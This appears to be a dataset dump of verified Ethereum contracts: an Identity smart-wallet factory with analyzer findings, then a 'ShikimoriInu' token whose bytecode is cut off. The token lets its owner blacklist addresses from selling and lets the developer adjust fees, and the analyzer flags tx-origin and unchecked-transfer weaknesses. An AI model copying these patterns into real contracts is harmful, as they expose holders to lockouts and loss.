// Anti-bricking measure: if the privileges slot is used for special data (not 0x01),
// don't allow to set it to true
if (uint(privileges[addr]) > 1) require(priv != bytes32(uint(1)), 'UNSETTING_SPECIAL_DATA');
privileges[addr] = priv;
emit LogPrivilegeChanged(addr, priv);
}
function tipMiner(uint amount)
external
{
require(msg.sender == address(this), 'ONLY_IDENTITY_CAN_CALL');
// See https://docs.flashbots.net/flashbots-auction/searchers/advanced/coinbase-payment/#managing-payments-to-coinbaseaddress-when-it-is-a-contract
// generally this contract is reentrancy proof cause of the nonce
executeCall(block.coinbase, amount, new bytes(0));
}
function tryCatch(address to, uint value, bytes calldata data)
external
{
require(msg.sender == address(this), 'ONLY_IDENTITY_CAN_CALL');
(bool success, bytes memory returnData) = to.call{value: value, gas: gasleft()}(data);
if (!success) emit LogErr(to, value, data, returnData);
}
// WARNING: if the signature of this is changed, we have to change IdentityFactory
function execute(Transaction[] calldata txns, bytes calldata signature)
external
{
require(txns.length > 0, 'MUST_PASS_TX');
uint currentNonce = nonce;
// NOTE: abi.encode is safer than abi.encodePacked in terms of collision safety
bytes32 hash = keccak256(abi.encode(address(this), block.chainid, currentNonce, txns));
// We have to increment before execution cause it protects from reentrancies
nonce = currentNonce + 1;
address signer = SignatureValidator.recoverAddrImpl(hash, signature, true);
require(privileges[signer] != bytes32(0), 'INSUFFICIENT_PRIVILEGE');
uint len = txns.length;
for (uint i=0; i<len; i++) {
Transaction memory txn = txns[i];
executeCall(txn.to, txn.value, txn.data);
}
// The actual anti-bricking mechanism - do not allow a signer to drop their own priviledges
require(privileges[signer] != bytes32(0), 'PRIVILEGE_NOT_DOWNGRADED');
}
// no need for nonce management here cause we're not dealing with sigs
function executeBySender(Transaction[] calldata txns) external {
require(txns.length > 0, 'MUST_PASS_TX');
require(privileges[msg.sender] != bytes32(0), 'INSUFFICIENT_PRIVILEGE');
uint len = txns.length;
for (uint i=0; i<len; i++) {
Transaction memory txn = txns[i];
executeCall(txn.to, txn.value, txn.data);
}
// again, anti-bricking
require(privileges[msg.sender] != bytes32(0), 'PRIVILEGE_NOT_DOWNGRADED');
}
function executeBySelf(Transaction[] calldata txns) external {
require(msg.sender == address(this), 'ONLY_IDENTITY_CAN_CALL');
require(txns.length > 0, 'MUST_PASS_TX');
uint len = txns.length;
for (uint i=0; i<len; i++) {
Transaction memory txn = txns[i];
executeCall(txn.to, txn.value, txn.data);
}
}
// we shouldn't use address.call(), cause: https://github.com/ethereum/solidity/issues/2884
// copied from https://github.com/uport-project/uport-identity/blob/develop/contracts/Proxy.sol
// there's also
// https://github.com/gnosis/MultiSigWallet/commit/e1b25e8632ca28e9e9e09c81bd20bf33fdb405ce
// https://github.com/austintgriffith/bouncer-proxy/blob/master/BouncerProxy/BouncerProxy.sol
// https://github.com/gnosis/safe-contracts/blob/7e2eeb3328bb2ae85c36bc11ea6afc14baeb663c/contracts/base/Executor.sol
function executeCall(address to, uint256 value, bytes memory data)
internal
{
assembly {
let result := call(gas(), to, value, add(data, 0x20), mload(data), 0, 0)
switch result case 0 {
let size := returndatasize()
let ptr := mload(0x40)
returndatacopy(ptr, 0, size)
revert(ptr, size)
}
default {}
}
// A single call consumes around 477 more gas with the pure solidity version, for whatever reason
// WARNING: do not use this, it corrupts the returnData string (returns it in a slightly different format)
//(bool success, bytes memory returnData) = to.call{value: value, gas: gasleft()}(data);
//if (!success) revert(string(data));
}
// EIP 1271 implementation
// see https://eips.ethereum.org/EIPS/eip-1271
function isValidSignature(bytes32 hash, bytes calldata signature) external view returns (bytes4) {
if (privileges[SignatureValidator.recoverAddr(hash, signature)] != bytes32(0)) {
// bytes4(keccak256("isValidSignature(bytes32,bytes)")
return 0x1626ba7e;
} else {
return 0xffffffff;
}
}
// EIP 1155 implementation
// we pretty much only need to signal that we support the interface for 165, but for 1155 we also need the fallback function
function supportsInterface(bytes4 interfaceID) external pure returns (bool) {
return
interfaceID == 0x01ffc9a7 || // ERC-165 support (i.e. `bytes4(keccak256('supportsInterface(bytes4)'))`).
interfaceID == 0x4e2312e0; // ERC-1155 `ERC1155TokenReceiver` support (i.e. `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)")) ^ bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`).
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract IdentityFactory {
event LogDeployed(address addr, uint256 salt);
address public immutable allowedToDrain;
constructor(address allowed) {
allowedToDrain = allowed;
}
function deploy(bytes calldata code, uint256 salt) external {
deploySafe(code, salt);
}
// When the relayer needs to act upon an /identity/:addr/submit call, it'll either call execute on the Identity directly
// if it's already deployed, or call `deployAndExecute` if the account is still counterfactual
// we can't have deployAndExecuteBySender, because the sender will be the factory
function deployAndExecute(
bytes calldata code, uint256 salt,
Identity.Transaction[] calldata txns, bytes calldata signature
) external {
address payable addr = payable(deploySafe(code, salt));
Identity(addr).execute(txns, signature);
}
// but for the quick accounts we need this
function deployAndCall(bytes calldata code, uint256 salt, address callee, bytes calldata data) external {
deploySafe(code, salt);
require(data.length > 4, 'DATA_LEN');
bytes4 method;
// solium-disable-next-line security/no-inline-assembly
assembly {
// can also do shl(224, shr(224, calldataload(0)))
method := and(calldataload(data.offset), 0xffffffff00000000000000000000000000000000000000000000000000000000)
}
require(
method == 0x6171d1c9 // execute((address,uint256,bytes)[],bytes)
|| method == 0x534255ff // send(address,(uint256,address,address),(bool,bytes,bytes),(address,uint256,bytes)[])
|| method == 0x4b776c6d // sendTransfer(address,(uint256,address,address),(bytes,bytes),(address,address,uint256,uint256))
|| method == 0x63486689 // sendTxns(address,(uint256,address,address),(bytes,bytes),(string,address,uint256,bytes)[])
, 'INVALID_METHOD');
assembly {
let dataPtr := mload(0x40)
calldatacopy(dataPtr, data.offset, data.length)
let result := call(gas(), callee, 0, dataPtr, data.length, 0, 0)
switch result case 0 {
let size := returndatasize()
let ptr := mload(0x40)
returndatacopy(ptr, 0, size)
revert(ptr, size)
}
default {}
}
}
// Withdraw the earnings from various fees (deploy fees and execute fees earned cause of `deployAndExecute`)
// although we do not use this since we no longer receive fees on the factory, it's good to have this for safety
// In practice, we (almost) never receive fees on the factory, but there's one exception: QuickAccManager EIP 712 methods (sendTransfer) + deployAndCall
function withdraw(IERC20 token, address to, uint256 tokenAmount) external {
require(msg.sender == allowedToDrain, 'ONLY_AUTHORIZED');
token.transfer(to, tokenAmount);
}
// This is done to mitigate possible frontruns where, for example, deploying the same code/salt via deploy()
// would make a pending deployAndExecute fail
// The way we mitigate that is by checking if the contract is already deployed and if so, we continue execution
function deploySafe(bytes memory code, uint256 salt) internal returns (address) {
address expectedAddr = address(uint160(uint256(
keccak256(abi.encodePacked(bytes1(0xff), address(this), salt, keccak256(code)))
)));
uint size;
assembly { size := extcodesize(expectedAddr) }
// If there is code at that address, we can assume it's the one we were about to deploy,
// because of how CREATE2 and keccak256 works
if (size == 0) {
address addr;
assembly { addr := create2(0, add(code, 0x20), mload(code), salt) }
require(addr != address(0), 'FAILED_DEPLOYING');
require(addr == expectedAddr, 'FAILED_MATCH');
emit LogDeployed(addr, salt);
}
return expectedAddr;
}
} | 0x608060405234801561001057600080fd5b50600436106100575760003560e01c80631ce6236f1461005c5780631e86da2a1461009f57806349c81579146100b45780639c4ae2d0146100c7578063d9caed12146100da575b600080fd5b6100837f00000000000000000000000023c2c34f38ce66ccc10e71e9bb2a06532d52c5e981565b6040516001600160a01b03909116815260200160405180910390f35b6100b26100ad3660046106d2565b6100ed565b005b6100b26100c2366004610644565b6101a1565b6100b26100d53660046105f8565b6102fe565b6100b26100e83660046107a7565b610345565b600061013088888080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508a9250610431915050565b604051636171d1c960e01b81529091506001600160a01b03821690636171d1c990610165908890889088908890600401610811565b600060405180830381600087803b15801561017f57600080fd5b505af1158015610193573d6000803e3d6000fd5b505050505050505050505050565b6101e286868080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250889250610431915050565b50600481116102235760405162461bcd60e51b81526020600482015260086024820152672220aa20afa622a760c11b60448201526064015b60405180910390fd5b81356001600160e01b031916636171d1c960e01b811480610254575063534255ff60e01b6001600160e01b03198216145b8061026f5750634b776c6d60e01b6001600160e01b03198216145b8061028a5750636348668960e01b6001600160e01b03198216145b6102c75760405162461bcd60e51b815260206004820152600e60248201526d1253959053125117d351551213d160921b604482015260640161021a565b6040518284823760008084836000895af190508080156102e6576102f3565b3d604051816000823e8181fd5b505050505050505050565b61033f83838080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250859250610431915050565b50505050565b336001600160a01b037f00000000000000000000000023c2c34f38ce66ccc10e71e9bb2a06532d52c5e916146103af5760405162461bcd60e51b815260206004820152600f60248201526e13d3931657d055551213d492569151608a1b604482015260640161021a565b60405163a9059cbb60e01b81526001600160a01b0383811660048301526024820183905284169063a9059cbb90604401602060405180830381600087803b1580156103f957600080fd5b505af115801561040d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061033f91906105cf565b8151602080840191909120604080516001600160f81b0319818501523060601b6bffffffffffffffffffffffff19166021820152603581018590526055808201939093528151808203909301835260750190528051910120600090803b8061057e576000848651602088016000f590506001600160a01b0381166104ea5760405162461bcd60e51b815260206004820152601060248201526f4641494c45445f4445504c4f59494e4760801b604482015260640161021a565b826001600160a01b0316816001600160a01b03161461053a5760405162461bcd60e51b815260206004820152600c60248201526b08c8292988a88be9a82a886960a31b604482015260640161021a565b604080516001600160a01b0383168152602081018790527fecef66cbb4d4c8dd18157def75d46290ddc298395ea46f7ff64321c1a912cbad910160405180910390a1505b509392505050565b60008083601f84011261059857600080fd5b50813567ffffffffffffffff8111156105b057600080fd5b6020830191508360208285010111156105c857600080fd5b9250929050565b6000602082840312156105e157600080fd5b815180151581146105f157600080fd5b9392505050565b60008060006040848603121561060d57600080fd5b833567ffffffffffffffff81111561062457600080fd5b61063086828701610586565b909790965060209590950135949350505050565b6000806000806000806080878903121561065d57600080fd5b863567ffffffffffffffff8082111561067557600080fd5b6106818a838b01610586565b9098509650602089013595506040890135915061069d82610904565b909350606088013590808211156106b357600080fd5b506106c089828a01610586565b979a9699509497509295939492505050565b60008060008060008060006080888a0312156106ed57600080fd5b873567ffffffffffffffff8082111561070557600080fd5b6107118b838c01610586565b909950975060208a0135965060408a013591508082111561073157600080fd5b818a0191508a601f83011261074557600080fd5b81358181111561075457600080fd5b8b60208260051b850101111561076957600080fd5b6020830196508095505060608a013591508082111561078757600080fd5b506107948a828b01610586565b989b979a50959850939692959293505050565b6000806000606084860312156107bc57600080fd5b83356107c781610904565b925060208401356107d781610904565b929592945050506040919091013590565b81835281816020850137506000828201602090810191909152601f909101601f19169091010190565b60408082528181018590526000906060808401600588901b8501820189855b8a8110156108e157878303605f190184528135368d9003605e1901811261085657600080fd5b8c01803561086381610904565b6001600160a01b03168452602081810135818601528782013536839003601e1901811261088f57600080fd5b8201803567ffffffffffffffff8111156108a857600080fd5b8036038413156108b757600080fd5b888a8801526108cb898801828585016107e8565b9783019796505050929092019150600101610830565b505085810360208701526108f681888a6107e8565b9a9950505050505050505050565b6001600160a01b038116811461091957600080fd5b5056fea2646970667358221220f2f7b8ae56f395f993ace824b61aafd112d10ad47a0003cd7de4bb4668d7da3d64736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}} | 9,996 |
0x594bf42dfebac7e5e586b3ff1f61b3fc887f9112 | /**
*Submitted for verification at Etherscan.io on 2022-04-18
*/
/**
ShikimoriInu
Buy Tax : 5%
Sell Tax : 7%
( DEV , Marketing , Giveaway , Buyback , .... )
Toal Supply : 800.000.000.000
Max Buy : 2%
Max Wallet : 3%
Telegram : https://t.me/ShikimoriInu
Website : http://www.shikimoriinu.com
Twitter : https://twitter.com/ShikimoriInu
*/
pragma solidity ^0.8.13;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _dev;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
_dev = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
modifier onlyDev() {
require(_dev == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ShikimorInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 800000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
struct Taxes {
uint256 buyFee1;
uint256 buyFee2;
uint256 sellFee1;
uint256 sellFee2;
}
Taxes private _taxes = Taxes(0,5,0,7);
uint256 private initialTotalBuyFee = _taxes.buyFee1 + _taxes.buyFee2;
uint256 private initialTotalSellFee = _taxes.sellFee1 + _taxes.sellFee2;
address payable private _feeAddrWallet;
uint256 private _feeRate = 20;
string private constant _name = "ShikInu";
string private constant _symbol = "ShikInu";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
bool private _isBuy = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0x2a1b0BB2c833CA1f981E20E9B1AD035907d8Fd3C);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(amount > 0, "Transfer amount must be greater than zero");
_isBuy = true;
if (from != owner() && to != owner()) {
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// buy
require(amount <= _maxTxAmount);
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
}
if (from != address(uniswapV2Router) && ! _isExcludedFromFee[from] && to == uniswapV2Pair){
require(!bots[from] && !bots[to]);
_isBuy = false;
}
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function getIsBuy() private view returns (bool){
return _isBuy;
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function adjustFees(uint256 buyFee1, uint256 buyFee2, uint256 sellFee1, uint256 sellFee2) external onlyDev {
require(buyFee1 + buyFee2 <= initialTotalBuyFee);
require(sellFee1 + sellFee2 <= initialTotalSellFee);
_taxes.buyFee1 = buyFee1;
_taxes.buyFee2 = buyFee2;
_taxes.sellFee1 = sellFee1;
_taxes.sellFee2 = sellFee2;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function setFeeRate(uint256 rate) external onlyDev() {
require(rate<=49);
_feeRate = rate;
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 16000000000 * 10**9;
_maxWalletSize = 24000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function addBot(address[] memory _bots) public onlyOwner {
for (uint i = 0; i < _bots.length; i++) {
if (_bots[i] != address(this) && _bots[i] != uniswapV2Pair && _bots[i] != address(uniswapV2Router)){
bots[_bots[i]] = true;
}
}
}
function delBot(address notbot) public onlyDev {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external onlyDev {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external onlyDev {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = getIsBuy() ? _getTValues(tAmount, _taxes.buyFee1, _taxes.buyFee2) : _getTValues(tAmount, _taxes.sellFee1, _taxes.sellFee2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101395760003560e01c80636fc3eaec116100ab57806395d89b411161006f57806395d89b41146103e3578063a9059cbb1461040e578063b87f137a1461044b578063c3c8cd8014610474578063c9567bf91461048b578063dd62ed3e146104a257610140565b80636fc3eaec1461033657806370a082311461034d578063715018a61461038a578063751039fc146103a15780638da5cb5b146103b857610140565b806323b872dd116100fd57806323b872dd1461022a578063273123b714610267578063313ce5671461029057806345596e2e146102bb5780635932ead1146102e4578063677daa571461030d57610140565b806306fdde0314610145578063095ea7b31461017057806317e1df5b146101ad57806318160ddd146101d657806321bbcbb11461020157610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a6104df565b6040516101679190612a2b565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612af5565b61051c565b6040516101a49190612b50565b60405180910390f35b3480156101b957600080fd5b506101d460048036038101906101cf9190612b6b565b61053a565b005b3480156101e257600080fd5b506101eb610633565b6040516101f89190612be1565b60405180910390f35b34801561020d57600080fd5b5061022860048036038101906102239190612d44565b610644565b005b34801561023657600080fd5b50610251600480360381019061024c9190612d8d565b6108a6565b60405161025e9190612b50565b60405180910390f35b34801561027357600080fd5b5061028e60048036038101906102899190612de0565b61097f565b005b34801561029c57600080fd5b506102a5610a71565b6040516102b29190612e29565b60405180910390f35b3480156102c757600080fd5b506102e260048036038101906102dd9190612e44565b610a7a565b005b3480156102f057600080fd5b5061030b60048036038101906103069190612e9d565b610b29565b005b34801561031957600080fd5b50610334600480360381019061032f9190612e44565b610bdb565b005b34801561034257600080fd5b5061034b610cb5565b005b34801561035957600080fd5b50610374600480360381019061036f9190612de0565b610d5d565b6040516103819190612be1565b60405180910390f35b34801561039657600080fd5b5061039f610dae565b005b3480156103ad57600080fd5b506103b6610f01565b005b3480156103c457600080fd5b506103cd610fb8565b6040516103da9190612ed9565b60405180910390f35b3480156103ef57600080fd5b506103f8610fe1565b6040516104059190612a2b565b60405180910390f35b34801561041a57600080fd5b5061043560048036038101906104309190612af5565b61101e565b6040516104429190612b50565b60405180910390f35b34801561045757600080fd5b50610472600480360381019061046d9190612e44565b61103c565b005b34801561048057600080fd5b50610489611116565b005b34801561049757600080fd5b506104a06111c6565b005b3480156104ae57600080fd5b506104c960048036038101906104c49190612ef4565b6116e4565b6040516104d69190612be1565b60405180910390f35b60606040518060400160405280600781526020017f5368696b496e7500000000000000000000000000000000000000000000000000815250905090565b600061053061052961176b565b8484611773565b6001905092915050565b61054261176b565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c890612f80565b60405180910390fd5b600f5483856105e09190612fcf565b11156105eb57600080fd5b60105481836105fa9190612fcf565b111561060557600080fd5b83600b6000018190555082600b6001018190555081600b6002018190555080600b6003018190555050505050565b6000682b5e3af16b18800000905090565b61064c61176b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d090612f80565b60405180910390fd5b60005b81518110156108a2573073ffffffffffffffffffffffffffffffffffffffff1682828151811061070f5761070e613025565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16141580156107a35750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682828151811061078257610781613025565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b80156108175750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168282815181106107f6576107f5613025565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b1561088f5760016007600084848151811061083557610834613025565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b808061089a90613054565b9150506106dc565b5050565b60006108b384848461193c565b610974846108bf61176b565b61096f856040518060600160405280602881526020016138a560289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061092561176b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ee29092919063ffffffff16565b611773565b600190509392505050565b61098761176b565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0d90612f80565b60405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610a8261176b565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0890612f80565b60405180910390fd5b6031811115610b1f57600080fd5b8060128190555050565b610b3161176b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb590612f80565b60405180910390fd5b80601460176101000a81548160ff02191690831515021790555050565b610be361176b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6790612f80565b60405180910390fd5b60008111610c7d57600080fd5b610cac6064610c9e83682b5e3af16b18800000611f4690919063ffffffff16565b611fc090919063ffffffff16565b60158190555050565b610cbd61176b565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610